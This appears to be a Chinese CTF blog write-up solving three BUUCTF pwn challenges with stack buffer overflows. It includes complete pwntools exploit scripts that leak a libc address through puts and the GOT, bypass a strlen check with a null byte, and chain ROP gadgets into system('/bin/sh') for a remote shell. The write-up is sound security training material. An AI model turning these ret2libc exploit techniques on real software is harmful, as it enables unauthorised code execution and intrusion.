ciscn_2019_c_1 —需要泄露got
题目可在buuctf下载
安全检查,发现只开了NX保护(DEP)
执行程序会发现,程序第二次原模原样输出了((这种菜单题,我还以为是堆))
IDA查看反汇编代码
加密函数
其中x在bss段定义,一直在增加,所以会导致上面的第二次执行的时候长度>s,从而不执行加密那块,这可以用来泄露地址
也就是后面会变的只有比上一次输入长的部分
操作如下图
由于get可以一直输入,达到一定长度报段错误,这应该是说明覆盖到返回地址了,所以猜想应该是只要覆盖了返回地址就OK了,看起来是ret2libc,,所以现在要做的是先泄露地址
并且可以看到距离返回地址距离为0x58
可以看到打印的是第一次发送之后加密过后的,,
可以通过逆向的进行算法的解密,然后就可以把地址放上去了
但是这个打印的是got而不是got里面的内容,所以需要打印got(将got作为参数指针传进去)
但是经过逆向解密太麻烦了,由于使用的是strlen函数所以可以通过‘\x00‘绕过(淦第一时间没想到)
然后我们想要执行的是put函数,got地址作为参数,由于x64使用寄存器传递参数,所以需要找到pop rdi,但是为了能够控制控制流,所以需要ret,所以此时的参数应该为:
buffer+pop_rdi_ret_addr(第一次返回地址) + got参数 + put(相当于是第2个返回地址)+第3个返回地址(为了控制再次执行到漏洞函数)
搜的偏移报错。。。,使用libc的话就把那注释的取消掉就行了
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
name = './ciscn_2019_c_1'
ciscn = ELF(name)
#libc = ELF('./libc.so.6')
#p = process(name)
p = remote("node4.buuoj.cn","25957")
pop_rid_ret = 0x400c83
main_addr = 0x400B28
put_plt = ciscn.plt['puts']
put_got = ciscn.got['puts']#602020
ret = 0x4006b9
p.recvuntil("machine\n")
p.sendline('1')
p.recvuntil("encrypted")
payload = b"\x00"
payload += b"a"*(0x58-1) + p64(pop_rid_ret) + p64(put_got) + p64(put_plt) + p64(main_addr)
p.sendline(payload)
p.recvuntil('Ciphertext\n\n')
#print(p.recv())
puts_addr = u64(p.recv(7)[:-1].ljust(8,b'\x00'))
print("put_addr is ",hex(puts_addr))
#libc = LibcSearcher('puts',puts_addr)
#sys_libc = libc.dump('system')
#bin_sh_libc = libc.dump('str_bin_sh')
#puts_libc = libc.dump('puts')
#system_addr = puts_addr + (sys_libc - puts_libc)
#bin_sh_addr = puts_addr + (bin_sh_libc - puts_libc)
libcbase = puts_addr - 0x06f6a0
system_addr = libcbase + 0x0453a0
bin_sh_addr = libcbase + 0x18ce17
p.recvuntil("machine\n")
p.sendline('1')
p.recvuntil("encrypted")
payload = b"\x00"
payload += b"a"*(0x58-1) + p64(ret) +p64(pop_rid_ret) + p64(bin_sh_addr) + p64(system_addr)
p.sendline(payload)
#gdb.attach(p)
p.interactive()
buuctf level2 ----简单,不需要泄露
查看保护,,发现只开了NX,RELRO (多半可以使用ret2libc了)
IDA查看
还挺友好的,漏洞函数都给标明了
还有个明显的溢出。。。。
返回地址距离8c
所以就很简单了,直接运行system(binsh)就行了
from pwn import *
context.log_level = 'debug'
name = './level2'
ciscn = ELF(name)
p = process(name)
#p = remote("node4.buuoj.cn","28065")
system_addr = 0x8048320
bin_sh_addr = 0x804a024
payload = 'a'*0x8c + p32(system_addr) + p32(0) + p32(bin_sh_addr)
p.sendlineafter("Input:",payload)
p.interactive()
ciscn_2019_ne_5
检查保护,开启了NX
然后IDA,发现是菜单题,但是并不是堆
首先会验证字符串是否相等,然后跳到菜单
漏洞函数在getFlag,拷贝的时候会造成溢出
如下可以确定偏移为76
并且存在system,但是没有bin_sh字符串,但是存在sh
from pwn import *
#from LibcSearcher import *
#context.log_level = 'debug'
name = './ciscn_2019_ne_5'
ciscn = ELF(name)
libc = ELF('./libc.so.6')
#p = process(name)
p = remote("node4.buuoj.cn","29836")
def addLog(s):
p.sendlineafter(":",'1')
p.sendlineafter("info:",s)
def Display():
p.sendlineafter(":",'2')###put(s)
def system():
p.sendlineafter(":",'3')###system()
def getFlag():
p.sendlineafter(":",'4')
sh_addr = 0x80482EA
system_addr = 0x080484D0
p.sendlineafter("password:",b"administrator")
payload = 'a'*76 + p32(system_addr) + p32(sh_addr)*2
addLog(payload)
getFlag()
p.interactive()
一些图片显示不出来,,,可以从从这看
其他